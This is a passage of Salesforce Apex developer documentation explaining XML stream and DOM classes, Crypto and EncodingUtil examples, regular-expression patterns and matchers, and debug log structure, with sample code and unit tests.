The XMLStreamReader class enables you to read XML content and the XMLStreamWriter class enables you to write XML content.
IN THIS SECTION:
Reading XML Using Streams
The XMLStreamReader class methods enable forward, read-only access to XML data.
Writing XML Using Streams
The XmlStreamWriter class methods enable the writing of XML data.

Reading XML Using Streams

The XMLStreamReader class methods enable forward, read-only access to XML data.

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Those methods are used in conjunction with HTTP callouts to parse XML data or skip unwanted events. You can parse nested XML
content thats up to 50 nodes deep. The following example shows how to instantiate a new XmlStreamReader object:
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';
XmlStreamReader xsr = new XmlStreamReader(xmlString);

These methods work on the following XML events:

An attribute event is specified for a particular element. For example, the element <book> has an attribute title: <book
title="Salesforce.com for Dummies">.
A start element event is the opening tag for an element, for example <book>.
An end element event is the closing tag for an element, for example </book>.
A start document event is the opening tag for a document.
An end document event is the closing tag for a document.
An entity reference is an entity reference in the code, for example !ENTITY title = "My Book Title".
A characters event is a text character.
A comment event is a comment in the XML file.
Use the next and hasNext methods to iterate over XML data. Access data in XML using get methods such as the getNamespace
method.
When iterating over the XML data, always check that stream data is available using hasNext before calling next to avoid attempting
to read past the end of the XML data.

XmlStreamReader Example
The following example processes an XML string.
public class XmlStreamReaderDemo {
// Create a class Book for processing
public class Book {
String name;
String author;
}
public Book[] parseBooks(XmlStreamReader reader) {
Book[] books = new Book[0];
boolean isSafeToGetNextXmlElement = true;
while(isSafeToGetNextXmlElement) {
// Start at the beginning of the book and make sure that it is a book
if (reader.getEventType() == XmlTag.START_ELEMENT) {
if ('Book' == reader.getLocalName()) {
// Pass the book to the parseBook method (below)
Book book = parseBook(reader);
books.add(book);
}
}
// Always use hasNext() before calling next() to confirm
// that we have not reached the end of the stream
if (reader.hasNext()) {
reader.next();
} else {

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isSafeToGetNextXmlElement = false;
break;
}
}
return books;
}
// Parse through the XML, determine the author and the characters
Book parseBook(XmlStreamReader reader) {
Book book = new Book();
book.author = reader.getAttributeValue(null, 'author');
boolean isSafeToGetNextXmlElement = true;
while(isSafeToGetNextXmlElement) {
if (reader.getEventType() == XmlTag.END_ELEMENT) {
break;
} else if (reader.getEventType() == XmlTag.CHARACTERS) {
book.name = reader.getText();
}
// Always use hasNext() before calling next() to confirm
// that we have not reached the end of the stream
if (reader.hasNext()) {
reader.next();
} else {
isSafeToGetNextXmlElement = false;
break;
}
}
return book;
}
}
@isTest
private class XmlStreamReaderDemoTest {
// Test that the XML string contains specific values
static testMethod void testBookParser() {
XmlStreamReaderDemo demo = new XmlStreamReaderDemo();
String str = '<books><book author="Chatty">Foo bar</book>' +
'<book author="Sassy">Baz</book></books>';
XmlStreamReader reader = new XmlStreamReader(str);
XmlStreamReaderDemo.Book[] books = demo.parseBooks(reader);
System.debug(books.size());
for (XmlStreamReaderDemo.Book book : books) {
System.debug(book);
}

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}
}

Writing XML Using Streams

The XmlStreamWriter class methods enable the writing of XML data.
Those methods are used in conjunction with HTTP callouts to construct an XML document to send in the callout request to an external
service. The following example shows how to instantiate a new XmlStreamReader object:
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';
XmlStreamReader xsr = new XmlStreamReader(xmlString);

XML Writer Methods Example

The following example writes an XML document and tests its validity.
Note: The Hello World sample requires custom objects. You can either create these on your own, or download the objects and
Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the Apex
Tutorials Package. This package also contains sample code and objects for the Shipping Invoice example.
public class XmlWriterDemo {
public String getXml() {
XmlStreamWriter w = new XmlStreamWriter();
w.writeStartDocument(null, '1.0');
w.writeProcessingInstruction('target', 'data');
w.writeStartElement('m', 'Library', 'http://www.book.com');
w.writeNamespace('m', 'http://www.book.com');
w.writeComment('Book starts here');
w.setDefaultNamespace('http://www.defns.com');
w.writeCData('<Cdata> I like CData </Cdata>');
w.writeStartElement(null, 'book', null);
w.writedefaultNamespace('http://www.defns.com');
w.writeAttribute(null, null, 'author', 'Manoj');
w.writeCharacters('This is my book');
w.writeEndElement(); //end book
w.writeEmptyElement(null, 'ISBN', null);
w.writeEndElement(); //end library
w.writeEndDocument();
String xmlOutput = w.getXmlString();
w.close();
return xmlOutput;
}
}
@isTest
private class XmlWriterDemoTest {
static TestMethod void basicTest() {
XmlWriterDemo demo = new XmlWriterDemo();

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String result = demo.getXml();

String expected = '<?xml version="1.0"?><?target data?>' +
'<m:Library xmlns:m="http://www.book.com">' +
'' +
'<![CDATA[<Cdata> I like CData </Cdata>]]>' +
'<book xmlns="http://www.defns.com" author="Manoj">This is my
book</book><ISBN/></m:Library>';
System.assert(result == expected);
}
}

Reading and Writing XML Using the DOM

Apex provides classes that enable you to work with XML content using the DOM (Document Object Model).
DOM classes help you parse or generate XML content. You can use these classes to work with any XML content. One common application
is to use the classes to generate the body of a request created by HttpRequest or to parse a response accessed by HttpResponse. The
DOM represents an XML document as a hierarchy of nodes. Some nodes may be branch nodes and have child nodes, while others are
leaf nodes with no children. You can parse nested XML content thats up to 50 nodes deep.
The DOM classes are contained in the Dom namespace.
Use the Document Class to process the content in the body of the XML document.
Use the XmlNode Class to work with a node in the XML document.
Use the Document Class class to process XML content. One common application is to use it to create the body of a request for HttpRequest
or to parse a response accessed by HttpResponse.

XML Namespaces
An XML namespace is a collection of names identified by a URI reference and used in XML documents to uniquely identify element types
and attribute names. Names in XML namespaces may appear as qualified names, which contain a single colon, separating the name
into a namespace prefix and a local part. The prefix, which is mapped to a URI reference, selects a namespace. The combination of the
universally managed URI namespace and the document's own namespace produces identifiers that are universally unique.
The following XML element has a namespace of http://my.name.space and a prefix of myprefix.
<sampleElement xmlns:myprefix="http://my.name.space" />

In the following example, the XML element has two attributes:

The first attribute has a key of dimension; the value is 2.
The second attribute has a key namespace of http://ns1; the value namespace is http://ns2; the key is foo; the value
is bar.
<square dimension="2" ns1:foo="ns2:bar" xmlns:ns1="http://ns1" xmlns:ns2="http://ns2" />

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Document Example
For the purposes of the sample below, assume that the url argument passed into the parseResponseDom method returns this
XML response:
<address>
<name>Kirk Stevens</name>
<street1>808 State St</street1>
<street2>Apt. 2</street2>
<city>Palookaville</city>
<state>PA</state>
<country>USA</country>
</address>

The following example illustrates how to use DOM classes to parse the XML response returned in the body of a GET request:
public class DomDocument {
// Pass in the URL for the request
// For the purposes of this sample,assume that the URL
// returns the XML shown above in the response body
public void parseResponseDom(String url){
Http h = new Http();
HttpRequest req = new HttpRequest();
// url that returns the XML in the response body
req.setEndpoint(url);
req.setMethod('GET');
HttpResponse res = h.send(req);
Dom.Document doc = res.getBodyDocument();
//Retrieve the root element for this document.
Dom.XMLNode address = doc.getRootElement();
String name = address.getChildElement('name', null).getText();
String state = address.getChildElement('state', null).getText();
// print out specific elements
System.debug('Name: ' + name);
System.debug('State: ' + state);
// Alternatively, loop through the child elements.
// This prints out all the elements of the address
for(Dom.XMLNode child : address.getChildElements()) {
System.debug(child.getText());
}
}
}

Using XML Nodes

Use the XmlNode class to work with a node in an XML document. The DOM represents an XML document as a hierarchy of nodes.
Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children.
There are different types of DOM nodes available in Apex. XmlNodeType is an enum of these different types. The values are:
COMMENT

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ELEMENT
TEXT
It is important to distinguish between elements and nodes in an XML document. The following is a simple XML example:
<name>
<firstName>Suvain</firstName>
<lastName>Singh</lastName>
</name>

This example contains three XML elements: name, firstName, and lastName. It contains five nodes: the three name, firstName,
and lastName element nodes, as well as two text nodesSuvain and Singh. Note that the text within an element node is
considered to be a separate text node.
For more information about the methods shared by all enums, see Enum Methods.

XmlNode Example
This example shows how to use XmlNode methods and namespaces to create an XML request.
public class DomNamespaceSample
{
public void sendRequest(String endpoint)
{
// Create the request envelope
DOM.Document doc = new DOM.Document();
String soapNS = 'http://schemas.xmlsoap.org/soap/envelope/';
String xsi = 'http://www.w3.org/2001/XMLSchema-instance';
String serviceNS = 'http://www.myservice.com/services/MyService/';
dom.XmlNode envelope
= doc.createRootElement('Envelope', soapNS, 'soapenv');
envelope.setNamespace('xsi', xsi);
envelope.setAttributeNS('schemaLocation', soapNS, xsi, null);
dom.XmlNode body
= envelope.addChildElement('Body', soapNS, null);
body.addChildElement('echo', serviceNS, 'req').
addChildElement('category', serviceNS, null).
addTextNode('classifieds');
System.debug(doc.toXmlString());
// Send the request
HttpRequest req = new HttpRequest();
req.setMethod('POST');
req.setEndpoint(endpoint);
req.setHeader('Content-Type', 'text/xml');
req.setBodyDocument(doc);
Http http = new Http();
HttpResponse res = http.send(req);

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System.assertEquals(200, res.getStatusCode());
dom.Document resDoc = res.getBodyDocument();
envelope = resDoc.getRootElement();
String wsa = 'http://schemas.xmlsoap.org/ws/2004/08/addressing';
dom.XmlNode header = envelope.getChildElement('Header', soapNS);
System.assert(header != null);
String messageId
= header.getChildElement('MessageID', wsa).getText();
System.debug(messageId);
System.debug(resDoc.toXmlString());
System.debug(resDoc);
System.debug(header);
System.assertEquals(
'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous',
header.getChildElement(
'ReplyTo', wsa).getChildElement('Address', wsa).getText());

System.assertEquals(
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('something', 'http://something.else').
getChildElement(
'whatever', serviceNS).getAttribute('bb', null),
'cc');
System.assertEquals('classifieds',
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('category', serviceNS).getText());
}
}

Securing Your Data

You can secure your data by using the methods provided by the Crypto class.
The methods in the Crypto class provide standard algorithms for creating digests, message authentication codes, and signatures, as
well as encrypting and decrypting information. These can be used for securing content in Force.com, or for integrating with external
services such as Google or Amazon WebServices (AWS).

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Example Integrating Amazon WebServices

The following example demonstrates an integration of Amazon WebServices with Salesforce:
public class HMacAuthCallout {
public void testAlexaWSForAmazon() {
// The date format is yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
DateTime d = System.now();
String timestamp = ''+ d.year() + '-' +
d.month() + '-' +
d.day() + '\'T\'' +
d.hour() + ':' +
d.minute() + ':' +
d.second() + '.' +
d.millisecond() + '\'Z\'';
String timeFormat = d.formatGmt(timestamp);
String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
String action = 'UrlInfo';
String inputStr = action + timeFormat;
String algorithmName = 'HMacSHA1';
Blob mac = Crypto.generateMac(algorithmName, Blob.valueOf(inputStr),
Blob.valueOf('your_signing_key'));
String macUrl = EncodingUtil.urlEncode(EncodingUtil.base64Encode(mac), 'UTF-8');
String
String
String
String

urlToTest = 'amazon.com';
version = '2005-07-11';
endpoint = 'http://awis.amazonaws.com/';
accessKey = 'your_key';

HttpRequest req = new HttpRequest();

req.setEndpoint(endpoint +
'?AWSAccessKeyId=' + accessKey +
'&Action=' + action +
'&ResponseGroup=Rank&Version=' + version +
'&Timestamp=' + urlEncodedTimestamp +
'&Url=' + urlToTest +
'&Signature=' + macUrl);
req.setMethod('GET');
Http http = new Http();
try {
HttpResponse res = http.send(req);
System.debug('STATUS:'+res.getStatus());
System.debug('STATUS_CODE:'+res.getStatusCode());
System.debug('BODY: '+res.getBody());
} catch(System.CalloutException e) {
System.debug('ERROR: '+ e);
}
}
}

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Example Encrypting and Decrypting

The following example uses the encryptWithManagedIV and decryptWithManagedIV methods, as well as the
generateAesKey method of the Crypto class.
// Use generateAesKey to generate the private key
Blob cryptoKey = Crypto.generateAesKey(256);
// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data to encrypted');
// Encrypt the data and have Salesforce.com generate the initialization vector
Blob encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, data);
// Decrypt the data
Blob decryptedData = Crypto.decryptWithManagedIV('AES256', cryptoKey, encryptedData);

The following is an example of writing a unit test for the encryptWithManagedIV and decryptWithManagedIV Crypto
methods.
@isTest
private class CryptoTest {
static testMethod void testValidDecryption() {
// Use generateAesKey to generate the private key
Blob key = Crypto.generateAesKey(128);
// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data');
// Generate an encrypted form of the data using base64 encoding
String b64Data = EncodingUtil.base64Encode(data);
// Encrypt and decrypt the data
Blob encryptedData = Crypto.encryptWithManagedIV('AES128', key, data);
Blob decryptedData = Crypto.decryptWithManagedIV('AES128', key, encryptedData);
String b64Decrypted = EncodingUtil.base64Encode(decryptedData);
// Verify that the strings still match
System.assertEquals(b64Data, b64Decrypted);
}
static testMethod void testInvalidDecryption() {
// Verify that you must use the same key size for encrypting data
// Generate two private keys, using different key sizes
Blob keyOne = Crypto.generateAesKey(128);
Blob keyTwo = Crypto.generateAesKey(256);
// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data');
// Encrypt the data using the first key
Blob encryptedData = Crypto.encryptWithManagedIV('AES128', keyOne, data);
try {
// Try decrypting the data using the second key
Crypto.decryptWithManagedIV('AES256', keyTwo, encryptedData);
System.assert(false);
} catch(SecurityException e) {
System.assertEquals('Given final block not properly padded', e.getMessage());
}

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}
}

SEE ALSO:
Crypto Class
EncodingUtil Class

Encoding Your Data

You can encode and decode URLs and convert strings to hexadecimal format by using the methods provided by the EncodingUtil
class.
This example shows how to URL encode a timestamp value in UTF-8 by calling urlEncode.
DateTime d = System.now();
String timestamp = ''+ d.year() + '-' +
d.month() + '-' +
d.day() + '\'T\'' +
d.hour() + ':' +
d.minute() + ':' +
d.second() + '.' +
d.millisecond() + '\'Z\'';
System.debug(timestamp);
String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
System.debug(urlEncodedTimestamp);

This next example shows how to use convertToHex to compute a client response for HTTP Digest Authentication (RFC2617).
@isTest
private class SampleTest {
static testmethod void testConvertToHex() {
String myData = 'A Test String';
Blob hash = Crypto.generateDigest('SHA1',Blob.valueOf(myData));
String hexDigest = EncodingUtil.convertToHex(hash);
System.debug(hexDigest);
}
}

Using Patterns and Matchers

Apex provides patterns and matchers that enable you to search text using regular expressions.
A pattern is a compiled representation of a regular expression. Patterns are used by matchers to perform match operations on a character
string.
A regular expression is a string that is used to match another string, using a specific syntax. Apex supports the use of regular expressions
through its Pattern and Matcher classes.

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Note: In Apex, Patterns and Matchers, as well as regular expressions, are based on their counterparts in Java. See
http://java.sun.com/j2se/1.5.0/docs/api/index.html?java/util/regex/Pattern.html.

Many Matcher objects can share the same Pattern object, as shown in the following illustration:
Many Matcher objects can be created from the same Pattern object

Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression strings
can be easily imported into your Apex code.
Note: Salesforce limits the number of times an input sequence for a regular expression can be accessed to 1,000,000 times. If you
reach that limit, you receive a runtime error.
All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object: only the String split
method takes a regular expression that isn't compiled.
Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher object.
All further actions are then performed using the Matcher object. For example:
// First, instantiate a new Pattern object "MyPattern"
Pattern MyPattern = Pattern.compile('a*b');
// Then instantiate a new Matcher object "MyMatcher"
Matcher MyMatcher = MyPattern.matcher('aaaaab');
// You can use the system static method assert to verify the match
System.assert(MyMatcher.matches());

If you are only going to use a regular expression once, use the Pattern class matches method to compile the expression and
match a string against it in a single invocation. For example, the following is equivalent to the code above:
Boolean Test = Pattern.matches('a*b', 'aaaaab');

IN THIS SECTION:
Using Regions
Using Match Operations
Using Bounds

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Understanding Capturing Groups

Pattern and Matcher Example

Using Regions
A Matcher object finds matches in a subset of its input string called a region. The default region for a Matcher object is always the entirety
of the input string. However, you can change the start and end points of a region by using the region method, and you can query
the region's end points by using the regionStart and regionEnd methods.
The region method requires both a start and an end value. The following table provides examples of how to set one value without
setting the other.
Start of the Region

End of the Region

Specify explicitly

Leave unchanged

Specify explicitly

Reset to the default

Specify explicitly

Code Example
MyMatcher.region(start, MyMatcher.regionEnd());

MyMatcher.region(MyMatcher.regionStart(), end);

MyMatcher.region(0, end);

Using Match Operations

A Matcher object performs match operations on a character sequence by interpreting a Pattern.
A Matcher object is instantiated from a Pattern by the Pattern's matcher method. Once created, a Matcher object can be used to
perform the following types of match operations:
Match the Matcher object's entire input string against the pattern using the matches method
Match the Matcher object's input string against the pattern, starting at the beginning but without matching the entire region, using
the lookingAt method
Scan the Matcher object's input string for the next substring that matches the pattern using the find method
Each of these methods returns a Boolean indicating success or failure.
After you use any of these methods, you can find out more information about the previous match, that is, what was found, by using the
following Matcher class methods:
end: Once a match is made, this method returns the position in the match string after the last character that was matched.
start: Once a match is made, this method returns the position in the string of the first character that was matched.
group: Once a match is made, this method returns the subsequence that was matched.

Using Bounds
By default, a region is delimited by anchoring bounds, which means that the line anchors (such as ^ or $) match at the region boundaries,
even if the region boundaries have been moved from the start and end of the input string. You can specify whether a region uses
anchoring bounds with the useAnchoringBounds method. By default, a region always uses anchoring bounds. If you set
useAnchoringBounds to false, the line anchors match only the true ends of the input string.

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By default, all text located outside of a region is not searched, that is, the region has opaque bounds. However, using transparent bounds
it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains the entire input
string. You can specify which type of bounds a region has by using the useTransparentBounds method.
Suppose you were searching the following string, and your region was only the word STRING:
This is a concatenated STRING of cats and dogs.

If you searched for the word cat, you wouldn't receive a match unless you had transparent bounds set.

Understanding Capturing Groups

During a matching operation, each substring of the input string that matches the pattern is saved. These matching substrings are called
capturing groups.
Capturing groups are numbered by counting their opening parentheses from left to right. For example, in the regular expression string
((A)(B(C))), there are four capturing groups:
1. ((A)(B(C)))
2. (A)
3. (B(C))
4. (C)
Group zero always stands for the entire expression.
The captured input associated with a group is always the substring of the group most recently matched, that is, that was returned by
one of the Matcher class match operations.
If a group is evaluated a second time using one of the match operations, its previously captured value, if any, is retained if the second
evaluation fails.

In this chapter ...

Debug Log

Exceptions in Apex

Apex provides debugging support. You can debug your Apex code using the Developer Console and
debug logs. To aid debugging in your code, Apex supports exception statements and custom exceptions.
Also, Apex sends emails to developers for unhandled exceptions.

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Debug Log
A debug log can record database operations, system processes, and errors that occur when executing a transaction or running unit tests.
Debug logs can contain information about:
Database changes
HTTP callouts
Apex errors
Resources used by Apex
Automated workflow processes, such as:
Workflow rules
Assignment rules
Approval processes
Validation rules
Note: The debug log does not include information from actions triggered by time-based workflows.
You can retain and manage the debug logs for specific users, including yourself, and for classes and triggers.
To view saved debug logs, from Setup, enter Debug Logs in the Quick Find box, then select Debug Logs. When youve started
retaining debug logs, you can view, download, or delete your logs from this page.
The following are the limits for debug logs.
Each debug log must be 2 MB or smaller. Debug logs that are larger than 2 MB are reduced in size by removing older log lines, such
as log lines for earlier System.debug statements. The log lines can be removed from any location, not just the start of the debug
log.
Each org can retain up to 50 MB of debug logs. Once your org has reached 50 MB of debug logs, the oldest debug logs start being
overwritten.

Inspecting the Debug Log Sections

After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user. However,
the format for a debug log is always the same.
A debug log has the following sections.
Header
The header contains the following information.
The version of the API used during the transaction.
The log category and level used to generate the log. For example:
The following is an example of a header.
37.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO

In this example, the API version is 37.0, and the following debug log categories and levels have been set.
Apex Code

DEBUG

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Debug Log

Apex Profiling

INFO

Callout

INFO

Database

INFO

System

DEBUG

Validation

INFO

Visualforce

INFO

Workflow

INFO

Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. EXECUTION_STARTED
and EXECUTION_FINISHED delimit an execution unit.
Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService method
or a validation rule.
Note: A class is not a discrete unit of code.
CODE_UNIT_STARTED and CODE_UNIT_FINISHED delimit units of code. Units of work can embed other units of work.

For example:
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new]
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED

Units of code include, but are not limited to, the following:
Triggers
Workflow invocations and time-based workflow
Validation rules
Approval processes
Apex lead convert
@future method invocations
Web service invocations
executeAnonymous calls
Visualforce property accesses on Apex controllers
Visualforce actions on Apex controllers
Execution of the batch Apex start and finish methods, and each execution of the execute method
Execution of the Apex System.Schedule execute method
Incoming email handling

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Debug Log

Log Lines
Log lines are included inside units of code and indicate which code or rules are being executed. Log lines can also be messages
written to the debug log. For example:

Log lines are made up of a set of fields, delimited by a pipe (|). The format is:
timestamp: Consists of the time when the event occurred and a value between parentheses. The time is in the users time zone
and in the format HH:mm:ss.SSS. The value in parentheses represents the time elapsed in nanoseconds since the start of
the request. The elapsed time value is excluded from logs reviewed in the Developer Console when you use the Execution Log
view. However, you can see the elapsed time when you use the Raw Log view. To open the Raw Log view, from the Developer
Consoles Logs tab, right-click the name of a log and select Open Raw Log.
event identifier: Specifies the event that triggered the debug log entry (such as SAVEPOINT_RESET or VALIDATION_RULE).
Also includes any additional information logged with that event, such as the method name or the line and character number
where the code was executed.
More Log Data
In addition, the log contains the following information.
Cumulative resource usage is logged at the end of many code units. Among these code units are triggers, executeAnonymous,
batch Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert.
Cumulative profiling information is logged once at the end of the transaction and contains information about DML invocations,
expensive queries, and so on. Expensive queries use resources heavily.
The following is an example debug log.
37.0 APEX_CODE,FINEST;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;
VALIDATION,INFO;VISUALFORCE,INFO;WORKFLOW,INFO
Execute Anonymous: System.debug('Hello World!');
16:06:58.18 (18043585)|USER_INFO|[EXTERNAL]|005D0000001bYPN|[email protected]|
Pacific Standard Time|GMT-08:00
16:06:58.18 (18348659)|EXECUTION_STARTED
16:06:58.18 (18383790)|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
16:06:58.18 (23822880)|HEAP_ALLOCATE|[72]|Bytes:3
16:06:58.18 (24271272)|HEAP_ALLOCATE|[77]|Bytes:152
16:06:58.18 (24691098)|HEAP_ALLOCATE|[342]|Bytes:408
16:06:58.18 (25306695)|HEAP_ALLOCATE|[355]|Bytes:408
16:06:58.18 (25787912)|HEAP_ALLOCATE|[467]|Bytes:48
16:06:58.18 (26415871)|HEAP_ALLOCATE|[139]|Bytes:6
16:06:58.18 (26979574)|HEAP_ALLOCATE|[EXTERNAL]|Bytes:1
16:06:58.18 (27384663)|STATEMENT_EXECUTE|[1]
16:06:58.18 (27414067)|STATEMENT_EXECUTE|[1]
16:06:58.18 (27458836)|HEAP_ALLOCATE|[1]|Bytes:12
16:06:58.18 (27612700)|HEAP_ALLOCATE|[50]|Bytes:5
16:06:58.18 (27768171)|HEAP_ALLOCATE|[56]|Bytes:5
16:06:58.18 (27877126)|HEAP_ALLOCATE|[64]|Bytes:7

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Debug Log

16:06:58.18 (49244886)|USER_DEBUG|[1]|DEBUG|Hello World!

16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE
16:06:58.49 (49590539)|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 50000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Maximum CPU time: 0 out of 10000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 100
Number of Email Invocations: 0 out of 10
Number of future calls: 0 out of 50
Number of queueable jobs added to the queue: 0 out of 50
Number of Mobile Apex push calls: 0 out of 10
16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE_END
16:06:58.18 (52417923)|CODE_UNIT_FINISHED|execute_anonymous_apex
16:06:58.18 (54114689)|EXECUTION_FINISHED

Setting Debug Log Filters for Apex Classes and Triggers

Debug log filtering provides a mechanism for fine-tuning the log verbosity at the trigger and class level. This is especially helpful when
debugging Apex logic. For example, to evaluate the output of a complex process, you can raise the log verbosity for a given class while
turning off logging for other classes or triggers within a single request.
When you override the debug log levels for a class or trigger, these debug levels also apply to the class methods that your class or trigger
calls and the triggers that get executed as a result. All class methods and triggers in the execution path inherit the debug log settings
from their caller, unless they have these settings overridden.
The following diagram illustrates overriding debug log levels at the class and trigger level. For this scenario, suppose Class1 is causing
some issues that you would like to take a closer look at. To this end, the debug log levels of Class1 are raised to the finest granularity.
Class3 doesn't override these log levels, and therefore inherits the granular log filters of Class1. However, UtilityClass has
already been tested and is known to work properly, so it has its log filters turned off. Similarly, Class2 isn't in the code path that causes
a problem, therefore it has its logging minimized to log only errors for the Apex Code category. Trigger2 inherits these log settings
from Class2.
Fine-tuning debug logging for classes and triggers

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The following is a pseudo-code example that the diagram is based on.

1. Trigger1 calls a method of Class1 and another method of Class2. For example:
trigger Trigger1 on Account (before insert) {
Class1.someMethod();
Class2.anotherMethod();
}

2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example:
public class Class1 {
public static void someMethod() {
Class3.thirdMethod();
}
}
public class Class3 {
public static void thirdMethod() {
UtilityClass.doSomething();
}
}

3. Class2 causes a trigger, Trigger2, to be executed. For example:

public class Class2 {
public static void anotherMethod() {
// Some code that causes Trigger2 to be fired.
}
}

IN THIS SECTION:
1. Working with Logs in the Developer Console
2. Debugging Apex API Calls
3. Debug Log Order of Precedence
Which events are logged depends on various factors. These factors include your trace flags, the default logging levels, your API
header, user-based system log enablement, and the log levels set by your entry points.
SEE ALSO:
Salesforce Help: Set Up Debug Logging
Salesforce Help: Viewing Debug Logs

Working with Logs in the Developer Console

Use the Logs tab in the Developer Console to open debug logs.

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Working with Logs in the Developer Console

Logs open in Log Inspector. Log Inspector is a context-sensitive execution viewer that shows the source of an operation, what triggered
the operation, and what occurred afterward. Use this tool to inspect debug logs that include database events, Apex processing, workflow,
and validation logic.
To learn more about working with logs in the Developer Console, see Log Inspector in the Salesforce online help.
When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in the log.
Log category
The type of information logged, such as information from Apex or workflow rules.
Log level
The amount of information logged.
Event type
The combination of log category and log level that specify which events get logged. Each event can log additional information, such
as the line and character number where the event started, fields associated with the event, and duration of the event.

Debug Log Categories

Each debug level includes a debug log level for each of the following log categories. The amount of information logged for each category
depends on the log level.
Log Category

Description

Database

Includes information about database activity, including every data manipulation language
(DML) statement or inline SOQL or SOSL query.

Workflow

Includes information for workflow rules, flows, and processes, such as the rule name and the
actions taken.

Validation

Includes information about validation rules, such as the name of the rule and whether the
rule evaluated true or false.

Callout

Includes the request-response XML that the server is sending and receiving from an external
web service. Useful when debugging issues related to using Force.com web service API calls
or troubleshooting user access to external objects via an OData adapter for Salesforce Connect.

Apex Code

Includes information about Apex code. Can include information such as log messages
generated by DML statements, inline SOQL or SOSL queries, the start and completion of any
triggers, and the start and completion of any test method.

Apex Profiling

Includes cumulative profiling information, such as the limits for your namespace and the
number of emails sent.

Visualforce

Includes information about Visualforce events, including serialization and deserialization of

the view state or the evaluation of a formula field in a Visualforce page.

System

Includes information about calls to all system methods such as the System.debug
method.

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Working with Logs in the Developer Console

Debug Log Levels

Each debug level includes one of the following log levels for each log category. The levels are listed from lowest to highest. Specific
events are logged based on the combination of category and levels. Most events start being logged at the INFO level. The level is
cumulative, that is, if you select FINE, the log also includes all events logged at the DEBUG, INFO, WARN, and ERROR levels.
Note: Not all levels are available for all categories. Only the levels that correspond to one or more events are available.
NONE
ERROR
WARN
INFO
DEBUG
FINE
FINER
FINEST
Important: Before running a deployment, verify that the Apex Code log level is not set to FINEST. Otherwise, the deployment is
likely to take longer than expected. If the Developer Console is open, the log levels in the Developer Console affect all logs, including
logs created during a deployment.

Debug Event Types

The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is timestamp | event
identifier:
timestamp: Consists of the time when the event occurred and a value between parentheses. The time is in the users time zone and
in the format HH:mm:ss.SSS. The value in parentheses represents the time elapsed in nanoseconds since the start of the request.
The elapsed time value is excluded from logs reviewed in the Developer Console when you use the Execution Log view. However,
you can see the elapsed time when you use the Raw Log view. To open the Raw Log view, from the Developer Consoles Logs tab,
right-click the name of a log and select Open Raw Log.
event identifier: Specifies the event that triggered the debug log entry (such as SAVEPOINT_RESET or VALIDATION_RULE).
Also includes any additional information logged with that event, such as the method name or the line and character number where
the code was executed.
The following is an example of a debug log line.
Debug Log Line Example

In this example, the event identifier is made up of the following:

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Debugging Apex

Working with Logs in the Developer Console

Event name:
USER_DEBUG

Line number of the event in the code:

[2]

Logging level the System.Debug method was set to:

DEBUG

User-supplied string for the System.Debug method:

Hello world!

This code snippet triggers the following example of a log line.

Debug Log Line Code Snippet

In this example, the event identifier is made up of the following.

Event name:
DML_BEGIN

Line number of the event in the code:

[5]

DML operation typeInsert:

Op:Insert

Object name:
Type:Invoice_Statement__c

Number of rows passed into the DML operation:

Rows:1

This table lists the event types that are logged. For each event type, the table shows which fields or other information get logged with
each event, and which combination of log level and category cause an event to be logged.

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Working with Logs in the Developer Console

Event Name

Fields or Information Logged with Event

Category Level
Logged
Logged

BULK_HEAP_ALLOCATE

Number of bytes allocated

INFO and
above

CODE_UNIT_FINISHED

None

Apex Code ERROR and

above

CODE_UNIT_STARTED

Line number and code unit name, such as

Apex Code ERROR and

above

